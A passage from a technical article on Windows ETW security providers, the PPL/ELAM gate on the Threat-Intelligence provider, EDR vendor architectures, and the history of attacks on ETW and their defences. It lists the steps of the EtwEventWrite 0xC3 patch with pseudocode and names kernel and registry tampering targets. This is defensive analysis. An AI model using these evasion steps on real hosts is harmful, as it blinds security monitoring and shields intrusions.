GUID {22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}. The canonical real-time process telemetry source for non-PPL EDR. Event ID 1 fires on ProcessStart with PID, parent PID, image name, command line, and SID; event ID 2 on ProcessStop; event ID 3 on thread create; event ID 4 on thread exit; event ID 5 on ImageLoad with the loaded module name and base address. SilkETW's launch post enumerates the event record format inline [@fireeye-silketw-launch] [@fireeye-silketw-launch]. This provider is widely cited in EDR community documentation as available since Windows 7, though no Microsoft primary pins the exact build.

`Microsoft-Windows-Kernel-File`, `Microsoft-Windows-Kernel-Network`, `Microsoft-Windows-Kernel-Registry`

The per-subsystem siblings of Kernel-Process. Kernel-File surfaces file open / close / read / write / delete operations with the file path and the operating PID. Kernel-Network surfaces TCP and UDP send / receive with the local and remote endpoints. Kernel-Registry surfaces registry create / open / set value / delete with the key path and value name. All three use the manifest-based class and inherit the eight-session cap. EDRs that want full-fidelity per-syscall telemetry without writing kernel callbacks subscribe to these three.

`Microsoft-Antimalware-Scan-Interface`

GUID {2A576B87-09A7-520E-C21A-4942F0271D67}, documented in the Microsoft Learn AMSI portal [@ms-amsi-portal] [@ms-amsi-portal] and surveyed in the Palantir CIRT taxonomy [@palantir-tampering-wayback] [@palantir-tampering-wayback]. This is the ETW provider that surfaces AMSI scan results: a script block submitted by PowerShell, JScript, VBA, an Office macro engine, or any other AMSI client comes through here after deobfuscation. Whatever string the script engine is about to execute, the registered antimalware engine sees in plaintext, and the result of the scan is published via this provider for any listener.

A COM interface exposed by Windows since 2015 that script engines and runtime hosts can call into to submit content for malware scanning. The Microsoft Learn AMSI portal lists PowerShell, JScript and VBScript via Windows Script Host, Office VBA macros, and User Account Control as in-box integrators [@ms-amsi-portal]; the .NET CLR's assembly load path joined the list with .NET Framework 4.8, as documented in Adam Chester's CLR walk-through [@xpn-hiding-dotnet]. The scanned content is the post-deobfuscation form -- the actual code about to execute, not the obfuscated wrapper. Scan results surface via the `Microsoft-Antimalware-Scan-Interface` ETW provider.

The AMSI Operational event log channel typically appears empty by default. The Palantir taxonomy [@palantir-tampering-wayback] [@palantir-tampering-wayback] notes the keyword bitmask configured for the channel does not surface scan-result events. The events fire on the ETW bus and can be consumed in real time, but they do not land in the user-visible evtx log unless the consumer reconfigures the keyword mask.

`Microsoft-Windows-PowerShell`

GUID {a0c1853b-5c40-4b15-8766-3cf1c58f985a}. Event ID 4104 is the script-block-logging event that records each PowerShell script block before execution; event ID 4103 records pipeline execution detail; event ID 4100 records errors. The Microsoft Learn about_Logging_Windows reference (Windows PowerShell 5.1) [@ms-powershell-logging] [@ms-powershell-logging] documents EID 4104 verbatim ("EventId 4104 / 0x1008 ... Channel Operational ... Task CommandStart") and the script-block-logging configuration. PowerShell Core 7+ uses a separate ETW provider (PowerShellCore, GUID {f90714a8-5509-434a-bf6d-b1624c8a19a2}). Combined with AMSI the two providers give an EDR the executed PowerShell content twice: once at AMSI submission, once at script-block logging. Detection engineers use both as cross-checks.

`Microsoft-Windows-DotNETRuntime`

GUID {e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}, verbatim in Adam Chester's PoC source [@xpn-hiding-dotnet] [@xpn-hiding-dotnet]. The .NET CLR provider. Surfaces assembly load events, JIT compilation, AppDomain creation, exception throws. Critical for detecting Cobalt Strike's execute-assembly style of in-memory .NET payload loading. This is the provider that goes dark in the section 1 hook scene after the operator's EtwEventWrite patch.This is the provider Adam Chester targeted in the canonical March 17, 2020 ETW patching post [@xpn-hiding-dotnet]. The Cobalt Strike execute-assembly workflow produces a loud signal here -- "assembly X loaded into PID Y from in-memory source Z" -- so silencing it locally was a valuable evasion. The story comes back in section 11.

`Microsoft-Windows-Sysmon`

GUID {5770385F-C22A-43E0-BF4C-06F5698FFBD9}, surfaced by wevtutil gp Microsoft-Windows-Sysmon and inventoried in [@gh-jdu2600]; the Microsoft Learn Sysmon page by Russinovich and Garnier [@ms-sysmon] [@ms-sysmon] documents authorship, the protected-process status, and the Microsoft-Windows-Sysmon/Operational channel. This is the publishing side of Sysmon. Sysmon's kernel driver SysmonDrv.sys collects events through PsSetCreateProcessNotifyRoutineEx and friends; the user-mode service then republishes via this ETW provider so any consumer (a SIEM forwarder, a SOC dashboard, a custom analytic) can subscribe without writing its own kernel driver. Events also land in the Microsoft-Windows-Sysmon/Operational evtx channel.

`Microsoft-Windows-Threat-Intelligence` (EtwTi)

GUID {f4e1897c-bb5d-5668-f1d8-040f4d8dd344}, verbatim in the fluxsec.red walkthrough [@fluxsec-eti] [@fluxsec-eti]. The only ETW source in the catalogue that fires from inside the kernel for memory-modifying syscalls. Ten task IDs, all prefixed KERNEL_THREATINT_TASK_:

ALLOCVM (NtAllocateVirtualMemory -- local and cross-process)
PROTECTVM (NtProtectVirtualMemory)
MAPVIEW (section mapping; cross-process and self)
QUEUEUSERAPC (NtQueueApcThread cross-process)
SETTHREADCONTEXT (NtSetContextThread cross-process)
READVM (NtReadVirtualMemory -- local and cross-process)
WRITEVM (NtWriteVirtualMemory -- local and cross-process)
SUSPENDRESUME_THREAD
SUSPENDRESUME_PROCESS
DRIVER_DEVICE

Each task pairs with a 64-bit keyword bitmask that distinguishes LOCAL vs REMOTE (cross-process) and KERNEL_CALLER vs not. The Elastic Security Labs walkthrough [@elastic-doubling-down] [@elastic-doubling-down] lists the named Win32/Nt syscalls that surface here:

"The most notable addition to this visibility is the Microsoft-Windows-Threat-Intelligence Event Tracing for Windows (ETW) provider ... VirtualAlloc, VirtualProtect, MapViewOfFile, VirtualAllocEx, VirtualProtectEx, MapViewOfFile2, QueueUserAPC, SetThreadContext, WriteProcessMemory, ReadProcessMemory(lsass)" -- Elastic Security Labs [@elastic-doubling-down] [@elastic-doubling-down]

The kernel-emitted ETW provider for memory-modifying syscalls. GUID `{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}`. Events are emitted from the kernel side of the syscall path (not from a user-mode trampoline), which makes the provider unreachable from a user-mode patcher in the calling process. Consumption is gated behind Protected Process Light at the Antimalware signer level, paired with an Early Launch Antimalware driver. The provider first shipped in the Windows 10 RS-era; the precise build is not stated verbatim in any Microsoft primary located, with community references converging on no later than 1709.

The first-ship-build is hedged: the provider GUID and task inventory are well-documented in third-party reverse-engineering primaries, but no Microsoft primary located in the source verification stage pins the exact build. The community reference range is Windows 10 1607 (RS1) through 1709 (RS3). The dispositive practical evidence is Yarden Shafir's 2023 Trail of Bits walkthrough [@trailofbits-shafir] [@trailofbits-shafir], which shows live-debugger output of CSFalconService.exe (CrowdStrike) holding EtwConsumer handles to multiple logger IDs simultaneously. By 2023 third-party EDRs were demonstrably consuming EtwTi at scale.

The catalogue as a single screen

Provider name	GUID	Surface	Gate	Primary source
Microsoft-Windows-Security-Auditing	`{54849625-5478-4994-A5BA-3E3B0328C30D}`	Audit-policy events (4624/4625/4688/...)	None (Local Security Policy)	[@ms-event-4624]
Microsoft-Windows-Kernel-Process	`{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}`	Process / thread / image-load events	None (admin)	[@fireeye-silketw-launch], [@gh-jdu2600]
Microsoft-Windows-Kernel-File	(manifest archive)	File I/O syscalls	None (admin)	[@gh-jdu2600], [@gh-repnz]
Microsoft-Windows-Kernel-Network	(manifest archive)	TCP/UDP send/receive	None (admin)	[@gh-jdu2600], [@gh-repnz]
Microsoft-Windows-Kernel-Registry	(manifest archive)	Registry create/open/set/delete	None (admin)	[@gh-jdu2600], [@gh-repnz]
Microsoft-Antimalware-Scan-Interface	`{2A576B87-09A7-520E-C21A-4942F0271D67}`	Post-deobfuscation script content	None (admin)	[@ms-amsi-portal], [@palantir-tampering-wayback]
Microsoft-Windows-PowerShell	`{a0c1853b-5c40-4b15-8766-3cf1c58f985a}`	Script-block logging (4104), pipeline	None (admin)	[@gh-jdu2600]
Microsoft-Windows-DotNETRuntime	`{e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}`	CLR assembly load, JIT, exceptions	None (admin)	[@xpn-hiding-dotnet]
Microsoft-Windows-Sysmon	`{5770385F-C22A-43E0-BF4C-06F5698FFBD9}`	Sysmon driver re-publication	None (admin)	[@gh-jdu2600], [@ms-sysmon]
Microsoft-Windows-Threat-Intelligence	`{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}`	Memory-modifying syscalls (kernel-emitted)	PPL + ELAM (Antimalware signer level)	[@fluxsec-eti], [@elastic-doubling-down]

This is the *security* catalogue. The full Windows manifest-based provider list is roughly 1,300 entries on a current Windows 11 build; performance-tuning, diagnostic, and developer-facing providers fill out the rest. The jdu2600 inventory [@gh-jdu2600] [@gh-jdu2600] tracks the full list across Win10 versions; the repnz archive [@gh-repnz] [@gh-repnz] preserves byte-stable manifest copies for cross-version diffing.

Nine of the ten rows in that table are accessible to any SYSTEM-privileged user-mode service. The tenth -- EtwTi -- requires a passport. The next section is about who issues the passport.

9. The PPL / ELAM gate: why EtwTi is not for everyone

To consume the one ETW provider that fires from the kernel for memory-modifying syscalls, your service must be (a) a Protected Process Light [@paragmali-com-app-ide], (b) signed at the Antimalware signer level with EKU 1.3.6.1.4.1.311.61.4.1, and (c) loaded from disk by an Early Launch Antimalware [@paragmali-com-to-userini] driver registered at boot. Two of those three were not possible for third parties until the Windows 10 RS-era.

fluxsec.red [@fluxsec-eti] [@fluxsec-eti] gives the prerequisite list verbatim:

"In order to start receiving ETW:TI signals, we need: 1. A service running as Protected Process Light, 2. An Early Launch Antimalware driver and certificate, 3. A logging mechanism." -- [@fluxsec-eti]

Each prerequisite has a story.

Protected Process Light at the Antimalware signer level

Windows 8.1 introduced the protected service concept specifically for antimalware engines. The motivation was simple: a malicious process running as administrator should not be able to inject code into the antimalware service or attach a debugger to it. The Microsoft Learn primary [@ms-protect-am] [@ms-protect-am] sets out the model:

"Windows 8.1 introduced a new concept of protected services to protect anti-malware services... In addition to the existing ELAM driver certification requirements, the driver must have an embedded resource section containing the information of the certificates used to sign the user mode service binaries." -- [@ms-protect-am]

PPL is a process-protection level. A given process has a level on the PPL lattice; another process can open it for write or debug only if the requesting process's level is greater than or equal to the target's. Antimalware-PPL is a signer level on that lattice. The kernel admits a process to Antimalware-PPL when its image is signed with a certificate whose EKU includes 1.3.6.1.4.1.311.61.4.1 (Windows Antimalware) and whose certificate is enrolled in an ELAM driver's allow-list at boot.

A Windows process-protection model. Each process has a PPL level; another process may open it for write or debug only if the requestor is at an equal or higher level. Originally introduced for DRM, the lattice was extended in Windows 8.1 to host the Antimalware signer level for protecting antimalware services from administrative-rights attackers. A specific signer level on the PPL lattice. Reserved in Windows 8.1 for Microsoft Defender; opened to third-party EDR vendors via ELAM onboarding in the Windows 10 RS-era. Consumption of the `Microsoft-Windows-Threat-Intelligence` ETW provider is gated at the Antimalware signer level: an `EnableTraceEx2` call from a non-Antimalware-PPL caller against the EtwTi GUID returns `ERROR_ACCESS_DENIED` (the `EnableTraceEx2` [@ms-enabletraceex2] [@ms-enabletraceex2] page documents the error code for callers that lack the documented administrative groups; the per-provider PPL-signer-level check that triggers it for the EtwTi GUID specifically is described in the [@fluxsec-eti] prerequisite list).

Early Launch Antimalware

ELAM is a driver class that loads before any other non-Microsoft boot driver. The Microsoft Learn primary [@ms-elam] [@ms-elam] describes it:

"Because an ELAM service runs as a PPL (Protected Process Light), you need to debug using a kernel debugger... AM drivers are initialized first and allowed to control the initialization of subsequent boot drivers, potentially not initializing unknown boot drivers." -- [@ms-elam]

The boot sequence runs like this. Winload loads the ELAM driver as part of the early-boot path. The ELAM driver registers a callback via IoRegisterBootDriverCallback and gets to inspect each subsequent boot driver, returning a verdict (initialize / do not initialize / unknown) based on the certificate inventory it carries in its embedded resource section. The kernel honours that verdict. After boot drivers settle, the SCM launches the paired user-mode antimalware service with the LaunchProtected = SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT flag, and the kernel admits that service to Antimalware-PPL because its signing certificate matches an entry in the ELAM driver's allow-list.

A driver class that loads before any non-Microsoft boot driver. The ELAM driver registers a boot-driver callback to inspect subsequent drivers and an embedded-resource certificate inventory of permitted user-mode antimalware service signatures. Together with PPL, ELAM gates which user-mode antimalware services can pass the Antimalware-PPL admission check.

The 1709 onboarding

Microsoft Defender's MsMpEng.exe ran at the Antimalware signer level by default starting around the Windows 10 1709 timeframe (October 17, 2017), and the same release is widely cited in EDR-vendor documentation as the moment the Antimalware-PPL onboarding was extended to third-party EDR vendors. The Microsoft primary that pins the 1709 third-party onboarding date is not in the public ETW documentation; we treat the date as widely-cited rather than verified.

The dispositive practical evidence is the Trail of Bits 2023 walkthrough by Yarden Shafir [@trailofbits-shafir] [@trailofbits-shafir]. Shafir's WinDbg JS scripts walk the live _ETW_REALTIME_CONSUMER data structures of a running Windows host and print:

"Process CSFalconService.exe with ID 0x1e54 has handle 0x760 to Logger ID 3" -- [@trailofbits-shafir]

That is CrowdStrike's user-mode service, holding a real-time consumer handle to an EtwTi logger session. By 2023 the third-party Antimalware-PPL story is operationally complete.

sequenceDiagram participant BL as Winload (boot) participant EL as ELAM Driver participant SCM as Service Control Manager participant SVC as EDR Service participant K as Kernel ETW BL->>EL: Load ELAM driver (early boot) EL->>EL: Register IoRegisterBootDriverCallback then read embedded cert inventory Note over EL: ELAM gates subsequent boot drivers SCM->>SVC: Start EDR service with PROTECTED_ANTIMALWARE_LIGHT flag K->>SVC: Verify signature against ELAM allow-list K-->>SVC: Admit to Antimalware-PPL SVC->>K: EnableTraceEx2(session, EtwTi GUID, ...) K->>K: Check caller signer level ge Antimalware K-->>SVC: SUCCESS Note over SVC,K: Non-PPL caller would receive ERROR_ACCESS_DENIED here

Why this gate matters for the section 1 hook

The asymmetry that defines the entire generation is one sentence in the fluxsec.red walkthrough [@fluxsec-eti] [@fluxsec-eti]:

We cannot patch out the Threat Intelligence provider as this is emitted from within the kernel itself. To do so, you'd require kernelmode execution and then to patch out those signals so no ETW signals are emitted. -- [@fluxsec-eti]

That is the answer to the puzzle the section 1 hook posed. The Adam Chester 2020 patch operates on a user-mode trampoline in the calling process. ntdll!EtwEventWrite is a stub that calls down through NtTraceEvent into the kernel; rewriting its first byte to 0xC3 short-circuits the user-mode entry path and the calling process emits no events through that stub. But EtwTi does not fire from the user-mode entry path. EtwTi fires from inside the kernel implementation of NtAllocateVirtualMemory and friends, after the syscall has crossed the boundary, on a path the user-mode patcher cannot reach without first achieving kernel execution.

Key idea: EtwTi is the only ETW provider in the catalogue whose producer fires from the kernel side of the syscall path -- and that is exactly why a user-mode patch in the calling process cannot silence it. The PPL+ELAM gate that controls consumer admission is paired with a producer location that no in-process attacker can reach.

The 2017 PPL+ELAM gate was a deliberate structural defense against the patch class that was only fully publicised three years later. By the time Chester wrote his March 2020 post, the load-bearing security signal was already structurally out of reach of his technique.

The combination of PPL and ELAM is not an arbitrary defense-in-depth stack. PPL gates *consumer identity* at signer level: only a binary signed with the Antimalware EKU and enrolled in an ELAM allow-list can subscribe. ELAM gates *load order*: the gate is set during early boot, before any code an attacker could load gets a chance to interfere. The signer-level check is hard because forging the signature requires breaking Microsoft's PKI; the load-order check is hard because subverting it requires compromising the boot path, which Secure Boot and the Vulnerable Driver Blocklist exist to defend.

That is the gate. Now we walk the consumers that pass through it.

10. Six vendors, three spectra: a map of the EDR consumer architecture

Defender, CrowdStrike, SentinelOne, Sysmon, Wazuh, Elastic Defend. They look interchangeable on a vendor comparison sheet. They are not, and the differences are entirely about which substrates each one consumes.

There are three axes that distinguish them.

Axis 1: kernel callbacks vs ETW

Some EDRs consume process-creation events through ETW (subscribing to Microsoft-Windows-Kernel-Process from a SYSTEM-privileged user-mode service). Others register kernel callbacks directly through PsSetCreateProcessNotifyRoutineEx [@ms-pssetprocnotify] [@ms-pssetprocnotify] and PsSetCreateThreadNotifyRoutine [@ms-pssetthreadnotify] [@ms-pssetthreadnotify] from a kernel driver they ship.

The trade-off is sharp. Kernel callbacks are synchronous: the kernel calls into the driver before the operation completes, the driver runs at PASSIVE_LEVEL in the originating thread context with normal kernel APCs disabled, and the driver can deny the operation by writing a non-success status to CreationStatus. ETW is asynchronous: the event is emitted from the producer's hot path, drained from a per-CPU buffer by the writer thread, and delivered to the consumer's callback at some later point. ETW cannot deny anything; it can only observe.

The `PsSetCreate*NotifyRoutine` family of kernel APIs. A driver calls `PsSetCreateProcessNotifyRoutineEx` (process create/exit), `PsSetCreateThreadNotifyRoutine` (thread create/exit), or `PsSetLoadImageNotifyRoutine` (image load) at boot to register a callback. The kernel invokes the callback synchronously, in the originating thread context at PASSIVE_LEVEL with normal kernel APCs disabled. The `Ex` variant of the process callback receives a `CreationStatus` field the driver can write to deny the operation.

CrowdStrike, SentinelOne, Sysmon, and Elastic Defend ship kernel drivers and use callbacks for the latency-critical hot path. Defender uses both -- callbacks from WdFilter.sys and ETW consumption from MsMpEng.exe -- because as the in-box engine it has the institutional position to do so. Wazuh ships no kernel driver; it consumes ETW exclusively via SilkETW-class wrappers, which makes it less invasive but unable to deny.

Axis 2: PPL adoption

Defender (MsMpEng.exe and MsMpEngCP.exe) runs at Antimalware-PPL by default. CrowdStrike's CSFalconService.exe runs at Antimalware-PPL, demonstrably [@trailofbits-shafir] [@trailofbits-shafir]. SentinelOne's SentinelAgent.exe is widely reported to run at Antimalware-PPL via vendor documentation, although it does not appear in the Trail of Bits sample debugger output. Sysmon runs as a protected process but not at the Antimalware signer level [@ms-sysmon] [@ms-sysmon] -- the Microsoft Learn page states "The service runs as a protected process, thus disallowing a wide range of user mode interactions" without naming Antimalware specifically.

Wazuh and Elastic Defend's user-mode services run as standard SYSTEM-privileged services without PPL.

Axis 3: EtwTi consumption

This axis is determined by axis 2. Defender consumes EtwTi by design -- it is the in-box reason EtwTi exists. CrowdStrike and SentinelOne consume EtwTi (the Trail of Bits debugger output is the practical demonstration). Sysmon does not consume EtwTi: it is not Antimalware-PPL, so its EnableTraceEx2 calls against the EtwTi GUID would receive ERROR_ACCESS_DENIED. Sysmon relies on its own SysmonDrv.sys callbacks for the in-memory threat surface that EtwTi covers for the others. Wazuh and Elastic Defend do not consume EtwTi for the same reason; Elastic Defend ships its own kernel driver to compensate [@elastic-doubling-down] [@elastic-doubling-down], using Microsoft-blessed kernel-callback paths for memory events.

Vendor	Process surface	PPL level	EtwTi?	Primary source
Microsoft Defender	Driver callbacks (`WdFilter.sys`) + ETW (`MsMpEng.exe`)	Antimalware-PPL	Yes	[@ms-protect-am]
CrowdStrike Falcon	Driver callbacks + ETW	Antimalware-PPL	Yes ([@trailofbits-shafir] live evidence)	[@trailofbits-shafir]
SentinelOne	Driver callbacks + ETW	Antimalware-PPL	Widely reported	-- (vendor docs; SentinelAgent.exe not in [@trailofbits-shafir] sample)
Sysmon	`SysmonDrv.sys` callbacks; publishes via own ETW provider	Protected (not Antimalware)	No	[@ms-sysmon]
Wazuh	ETW only (SilkETW-class)	Standard SYSTEM	No	--
Elastic Defend	Own kernel driver + ETW	Standard SYSTEM	No	[@elastic-doubling-down]

Sysmon is worth singling out as the canonical callback-then-publish reference architecture. Its kernel driver registers PsSetCreate*NotifyRoutine callbacks; its user-mode service consumes the events the driver delivers; and the service then publishes them via its own Microsoft-Windows-Sysmon ETW provider for any downstream consumer (a SIEM forwarder, a SOC dashboard, a custom analytic) to read. The result is that Sysmon's events are universally consumable -- which is why Wazuh and Splunk both ship Sysmon configurations as their default kernel-event source.

Sysmon's design choice is the reference architecture for the callback-then-publish pattern, even though Sysmon is not itself an Antimalware-PPL EDR. By publishing through its own ETW provider rather than writing to a private channel, Sysmon makes its events consumable by any downstream pipeline. Wazuh and the Splunk Universal Forwarder can both ingest Sysmon events without any custom integration work. This is why Sysmon, despite being free, is the de facto kernel-event source for the open-source SIEM world. flowchart LR K[Kernel callbacks
synchronous, can deny] --- L1[Sysmon driver] K --- L2[CrowdStrike driver] K --- L3[SentinelOne driver] K --- L4[Elastic driver] K --- L5[Defender WdFilter.sys] M[ETW providers
asynchronous, observe-only
up to 8 consumers per provider] --- M1[Defender MsMpEng] M --- M2[CrowdStrike service] M --- M3[SentinelOne service] M --- M4[Sysmon service] M --- M5[Wazuh ETW reader] M --- M6[Elastic Defend service] K -.latency-vs-coupling axis.-> M

The CrowdStrike July 2024 channel-file outage was a kernel-driver brittleness story, not an ETW story. The Falcon kernel driver's content-update parser dereferenced an out-of-bounds pointer when processing a channel file whose Rapid Response Content template had 21 input fields while the sensor's Content Interpreter expected only 20, triggering an out-of-bounds array read, BSOD-ing roughly 8.5 million Windows hosts [@ms-crowdstrike-2024][@crowdstrike-rca-2024]. That story belongs to the App Identity in Windows article [@paragmali-com-app-ide] in this series; it is mentioned here only to mark that the cost of the synchronous-kernel-driver path is a higher blast radius when the driver itself is buggy.

A note on Defender's cloud schema. The events that surface in Microsoft Defender for Endpoint's hunting tables -- DeviceProcessEvents, DeviceFileEvents, DeviceNetworkEvents, DeviceImageLoadEvents, DeviceRegistryEvents -- are the cloud-side abstraction over the kernel and ETW telemetry the Defender sensor collects locally. The full schema mapping from ETW provider to cloud column is out of scope here, but the substrate is the same.

Six vendors, three axes, one substrate. Now we walk the attack tradition that the substrate has to survive.

11. The attack tradition: five generations of trying to blind ETW

Every generation of ETW has been attacked. Some attacks broke a single provider; some broke every user-mode provider on a host; one would, if it worked at scale, break Defender. The defense story is on the same five-generation timeline.

Gen 1 (2014-2018): autologger registry tampering

The dispositive taxonomy is Matt Graeber and Lee Christensen's December 24, 2018 Palantir CIRT post [@palantir-tampering-wayback] [@palantir-tampering-wayback], preserved in the Wayback Machine because the direct Medium URL has since returned HTTP 403 to non-browser fetchers. The opening framing is verbatim:

"Event Tracing for Windows (ETW) is the mechanism Windows uses to trace and log system events. Attackers often clear event logs to cover their tracks. Though the act of clearing an event log itself generates an event, attackers who know ETW well may take advantage of tampering opportunities to cease the flow of logging temporarily or even permanently, without generating any event log entries in the process." -- [@palantir-tampering-wayback]

Graeber and Christensen split the technique into two classes. Persistent tampering writes to the autologger registry path described in section 6, disabling a session before it ever starts at next boot; the events of interest are never captured because the session is never running. Ephemeral tampering targets a live session: stopping the session via ControlTrace, removing a provider from a session via EnableTraceEx2(EVENT_CONTROL_CODE_DISABLE_PROVIDER, ...), or directly clearing the session's buffers.

The defense is direct: monitor the autologger registry surface. Sysmon Event ID 13 [@ms-sysmon] surfaces registry value-set events in HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\; a SOC playbook that alerts on any unexpected write to that subtree catches the persistent class of attack reliably. Matt Graeber's authorship is cross-confirmed by the palantir/exploitguard repository [@gh-palantir-exploitguard] [@gh-palantir-exploitguard], which credits him as the lead researcher on the ETW work.

Gen 2 (2020): user-mode `EtwEventWrite` 0xC3 RET patch

The technique that made ETW patching a household tradecraft term is Adam Chester's "Hiding your .NET - ETW", March 17, 2020 [@xpn-hiding-dotnet] [@xpn-hiding-dotnet]. The mechanic is one byte:

Locate ntdll!EtwEventWrite (or in modern variants ntdll!NtTraceEvent) in the calling process's memory.
Use VirtualProtect to make the page writable.
Write the byte 0xC3 over the function's first byte.
Restore the page protection.

0xC3 is the near-return opcode [@felixcloutier-ret] [@felixcloutier-ret]: "C3 RET ZO Valid Valid Near return to calling procedure." Any caller into the function falls straight back to its return address before producing a single event. The calling process now silently fails to emit any user-mode ETW events for any provider that funnels through the patched stub -- including Microsoft-Windows-DotNETRuntime.

The technique has been re-implemented in every language that can call VirtualProtect. The fluxsec.red Rust port [@fluxsec-etw-patching] [@fluxsec-etw-patching] explains the modern variant verbatim:

"When a ETW Provider sends a notification, it will eventually reach into ntdll.dll for the function NtTraceEvent... we can simply patch the function address to return straight from byte 0. The opcode for a ret is C3, so we can swap out the opcode 4C with C3 to immediately return out of the stub." -- [@fluxsec-etw-patching]

Here is the structure of the patch in TypeScript pseudocode -- not actually runnable Win32, but mirroring exactly what a Windows binary would do:

{` // Pseudocode: silence user-mode ETW for the calling process. // This silences only the calling process and only user-mode providers // that funnel through the patched stub.

// 1. Resolve the address of ntdll!EtwEventWrite in this process. const ntdll = getModuleHandle("ntdll.dll"); const fn = getProcAddress(ntdll, "EtwEventWrite");

// 2. Make the function's first page writable. const PAGE_EXECUTE_READWRITE = 0x40; let oldProtect = 0; virtualProtect(fn, 1, PAGE_EXECUTE_READWRITE, /* out */ ref(oldProtect));

// 3. Write 0xC3 (RET) over the first byte. Caller now returns immediately. writeByte(fn, 0xC3);

// 4. Restore original page protection. virtualProtect(fn, 1, oldProtect, /* out */ ref(oldProtect));

// Limits: // - Silences only this process. // - Silences only providers whose emit path funnels through this stub. // - Cannot silence kernel-emitted providers like Microsoft-Windows-Threat-Intelligence. `}

Note: The patch operates on the calling process's user-mode trampoline. Other processes on the host are unaffected; their ETW emissions continue normally. Kernel-emitted providers like Microsoft-Windows-Threat-Intelligence are unaffected even in the patched process; they fire from the kernel side of the syscall path, after control has crossed the user/kernel boundary, on a code path the user-mode patcher cannot reach without first achieving kernel execution.

Gen 3 (2021-2023): kernel-mode primitives

If a user-mode patch cannot reach EtwTi, can a kernel-mode patch? Yes -- but the attacker first needs kernel execution. The most common path is BYOVD [@paragmali-com-in-windows]: load a signed but vulnerable driver and use its primitive to read or write kernel memory. Once you can write kernel memory you can target ETW's internal data structures directly.

Binarly's Black Hat Europe 2021 talk [@binarly-edr] [@binarly-edr] documents the surface verbatim:

Many ways to disable ETW logging are publicly available from passing a TRUE boolean parameter into a `nt!EtwpStopTrace` function to finding an ETW specific structure and dynamically modifying it or patching `ntdll!ETWEventWrite` or `advapi32!EventWrite` to return immediately thus stopping the user-mode loggers. -- [@binarly-edr]

The kernel-side primitives Binarly enumerates target the _ETW_GUID_ENTRY structure for a provider, the EtwpRegistration linked list of registered providers, and the EtwpEventTracingProhibited flag the kernel checks before emitting events. Yarden Shafir's 2023 Trail of Bits walkthrough [@trailofbits-shafir] [@trailofbits-shafir] provides the contemporary kernel-side data structure walk through _ETW_REALTIME_CONSUMER and _ETW_SILODRIVERSTATE, and notes:

"Most recently, the Lazarus Group bypassed EDR detection by disabling ETW providers" -- [@trailofbits-shafir]

The architectural-level treatment is well-documented; the specific kernel offsets that change between Windows builds are a moving target. We treat the technique class as well-established and the per-build offset details as out of scope.

Defense Gen 1 (2017): Antimalware-PPL + ELAM gate on EtwTi

Section 9 covered this in detail. The point to record here, in the attack-tradition timeline, is that the Antimalware-PPL gate predates the Adam Chester 2020 user-mode patch by three years. Microsoft did not respond to Chester's post; they had already put the load-bearing security signal structurally out of reach of any user-mode patch in the calling process. The user-mode patch class is generic against Microsoft-Windows-DotNETRuntime and the rest of the user-mode catalogue; it is structurally impotent against Microsoft-Windows-Threat-Intelligence.

Defense Gen 2 (2022): Vulnerable Driver Blocklist on by default

The kernel-mode primitive class needs a kernel write. Without a vulnerability in the EDR's kernel driver, the realistic path is BYOVD: load a third-party signed driver that exposes a memory-write primitive. The structural defense is Microsoft's Vulnerable Driver Blocklist [@ms-vdb] [@ms-vdb]:

Since the Windows 11 2022 update, the vulnerable driver blocklist is enabled by default for all devices, and can be turned on or off via the Windows Security app... the vulnerable driver blocklist is also enforced when either memory integrity, also known as hypervisor-protected code integrity (HVCI), Smart App Control, or S mode is active... The blocklist is updated quarterly. In addition, blocklist updates are delivered through the monthly Windows updates as part of the standard servicing process. -- [@ms-vdb]

The blocklist enumerates known-vulnerable signed drivers by hash; the kernel refuses to load anything on the list. On a Windows 11 22H2-or-later host with the default settings, the BYOVD primitive against most known-vulnerable drivers is closed. With HVCI on, the closure is enforced even against attackers who would otherwise try to load drivers via legacy paths. The empirical bound is the LOLDrivers project's catalogue of known-vulnerable drivers; the blocklist tracks public discovery with a lag of approximately one quarter, which is the residual window an attacker can exploit before a freshly disclosed driver is added.

The attack pattern of loading a known-vulnerable but signed driver to obtain a kernel-mode primitive (memory read, memory write, or arbitrary code execution). Used in real-world EDR-blinding attacks, including by the Lazarus Group as cited in Trail of Bits' 2023 ETW walk [@trailofbits-shafir]. The Microsoft-maintained blocklist of known-vulnerable signed drivers, by hash. Enabled by default on Windows 11 22H2 and later. Enforced more strictly when HVCI, Smart App Control, or S mode is active. Updated quarterly per the Microsoft Learn primary [@ms-vdb].

The LOLDrivers project [@loldrivers] [@loldrivers] is the empirical anchor for the BYOVD lag story. It catalogues known-vulnerable signed drivers as a community resource; the Microsoft blocklist updates quarterly, but blocklist updates are also delivered through monthly Windows servicing, so a freshly-disclosed driver can live in an exploitation window of as short as ~1 month (via Patch Tuesday) or up to a full quarter before its hash is added.

flowchart LR subgraph Attacks A1["Gen 1 2014-2018: Autologger registry tampering -- Palantir CIRT taxonomy"] A2["Gen 2 2020: EtwEventWrite 0xC3 RET -- Adam Chester"] A3["Gen 3 2021-2023: Kernel _ETW_GUID_ENTRY -- EtwpRegistration EtwpStopTrace via BYOVD"] end subgraph Defenses D1["Sysmon Event ID 13 -- monitor Autologger subtree"] D2["Antimalware-PPL plus ELAM -- gate on EtwTi 2017"] D3["Vulnerable Driver Blocklist -- default-on Win11 22H2 plus HVCI"] end A1 --> D1 A2 --> D2 A3 --> D3

The 2026 picture

User-mode patching cannot reach the kernel-mode provider that EDR cares about. The BYOVD primitive that could reach it is structurally narrowed by default on supported hardware. The remaining gap is the long tail of newly-disclosed vulnerable drivers between disclosure and blocklist update, plus any custom kernel zero-day an attacker discovers in an EDR's own driver. Both are real, both are exploited in the wild, neither is the universally-applicable evasion the 2020-era user-mode patch class was.

That is the operational story. But ETW has structural limits even when no attacker is patching anything.

12. Theoretical limits: what ETW cannot see, even with every defence engaged

Even on a perfectly-configured Windows 11 box -- HVCI [@paragmali-com-in-windows] on, Vulnerable Driver Blocklist on, Antimalware-PPL Defender consuming EtwTi, third-party EDR ELAM-onboarded -- there are events ETW does not emit. Some are observed too late. Some are not observed at all.

There are three structural ceilings.

Pre-ETW kernel paths

